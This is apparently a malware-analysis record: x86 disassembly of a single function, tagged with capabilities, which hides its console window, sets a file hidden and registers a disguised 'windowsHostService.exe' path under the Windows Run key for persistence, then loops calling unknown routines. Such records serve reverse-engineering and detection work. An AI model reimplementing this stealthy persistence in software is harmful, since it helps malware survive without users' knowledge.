Function at 0x403890
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b937
mov eax, dword fs:[0]
push eax
sub esp, 0x698
mov eax, dword [0x439040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov byte [ebp - 0x654], 0
lea ecx, [ebp - 0x670]
push dword [ebp - 0x654]
call fcn.00406f50
add esp, 4
lea ecx, [ebp - 0x670]
mov dword [ebp - 4], 0
call fcn.00403470
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x65c]
mov byte [ebp - 0x655], al
cmp ecx, 7
jbe 0x403948
mov edx, dword [ebp - 0x670]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403938
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403938
call fcn.00416877
push ecx
push edx
call fcn.0040f69e
mov al, byte [ebp - 0x655]
add esp, 8
test al, al
jne 0x403e24
mov edx, str.The_applicaiton_is_already_running_with_admin_privileges
mov ecx, 0x43a228
call fcn.00405750
push eax
call fcn.00405a00
mov byte [ebp - 0x654], 0
lea ecx, [ebp - 0x670]
push dword [ebp - 0x654]
call fcn.00406f80
add esp, 8
lea ecx, [ebp - 0x670]
mov dword [ebp - 4], 1
call fcn.00403800
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x65c]
cmp ecx, 7
jbe 0x4039da
mov edx, dword [ebp - 0x670]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4039d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4039d0
call fcn.00416877
push ecx
push edx
call fcn.0040f69e
add esp, 8
push 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x63c], 0
push 0x435144
lea ecx, [ebp - 0x64c]
mov dword [ebp - 0x638], 0
movups xmmword [ebp - 0x64c], xmm0
call fcn.00406150
mov byte [ebp - 0x654], 0
lea edx, [ebp - 0x64c]
push dword [ebp - 0x654]
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x6a4]
mov byte [ebp - 4], 3
call fcn.00406fb0
add esp, 4
push 0x104
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x678], 0
xorps xmm0, xmm0
mov dword [ebp - 0x674], 0
push eax
lea ecx, [ebp - 0x688]
movups xmmword [ebp - 0x688], xmm0
call fcn.00406150
mov byte [ebp - 0x654], 0
lea edx, [ebp - 0x688]
push dword [ebp - 0x654]
lea ecx, [ebp - 0x670]
mov byte [ebp - 4], 5
call fcn.00406fb0
add esp, 4
push ecx
lea edx, [ebp - 0x6a4]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x670]
call fcn.00403430
mov byte [ebp - 4], 5
add esp, 4
mov ecx, dword [ebp - 0x65c]
cmp ecx, 7
jbe 0x403b01
mov edx, dword [ebp - 0x670]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403af7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ba9
push ecx
push edx
call fcn.0040f69e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x674]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp ecx, 0xf
jbe 0x403b58
mov edx, dword [ebp - 0x688]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403b4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ba9
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x690]
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 0xf
mov byte [ebp - 0x688], 0
cmp ecx, 7
jbe 0x403bb8
mov edx, dword [ebp - 0x6a4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403bae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403bae
call fcn.00416877
push ecx
push edx
call fcn.0040f69e
add esp, 8
push 0x3e
call fcn.0040f6ac
add esp, 4
lea eax, [ebp - 0x64c]
cmp dword [ebp - 0x638], 0xf
cmova eax, dword [ebp - 0x64c]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 2
movups xmm0, xmmword [str.C:windows.bakwindowsHostService.exe]
mov eax, dword [0x435300]
push 0x1bc
movups xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0x1d4], eax
lea eax, [ebp - 0x1d0]
movups xmm0, xmmword [0x4352c8]
push 0
push eax
movups xmmword [ebp - 0x20c], xmm0
movups xmm0, xmmword [0x4352d8]
movups xmmword [ebp - 0x1fc], xmm0
movups xmm0, xmmword [0x4352e8]
movups xmmword [ebp - 0x1ec], xmm0
movq xmm0, qword [0x4352f8]
movq qword [ebp - 0x1dc], xmm0
call fcn.004126b0
push 0x410
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x650], 0
push 0
push eax
call fcn.004126b0
push 0x4352ac
lea eax, [ebp - 0x62c]
push 0x208
push eax
call fcn.004161b7
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x62c]
push 0x208
push eax
call fcn.0041621b
push 0x4352b0
lea eax, [ebp - 0x62c]
push 0x208
push eax
call fcn.0041621b
push str._foobar
lea eax, [ebp - 0x62c]
push 0x208
push eax
call fcn.0041621b
add esp, 0x48
lea eax, [ebp - 0x650]
push 0
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x403d33
lea ecx, [ebp - 0x62c]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403d00
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x62c]
push eax
push 1
push 0
push str.My_Program
push dword [ebp - 0x650]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x650]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x403d46
push eax
call esi
push 0x208
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x650], 0
push 0
push eax
mov dword [ebp - 0x634], 1
call fcn.004126b0
add esp, 0xc
mov dword [ebp - 0x630], 0x208
lea eax, [ebp - 0x650]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403dc6
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x634]
push eax
push 2
push str.My_Program
push 0
push dword [ebp - 0x650]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov eax, dword [ebp - 0x650]
test eax, eax
je 0x403dd3
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0xa
call esi
call fcn.00403e40
call fcn.004040a0
jmp 0x403de0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0xa
call esi
call fcn.00403e40
call fcn.004040a0
jmp 0x403e30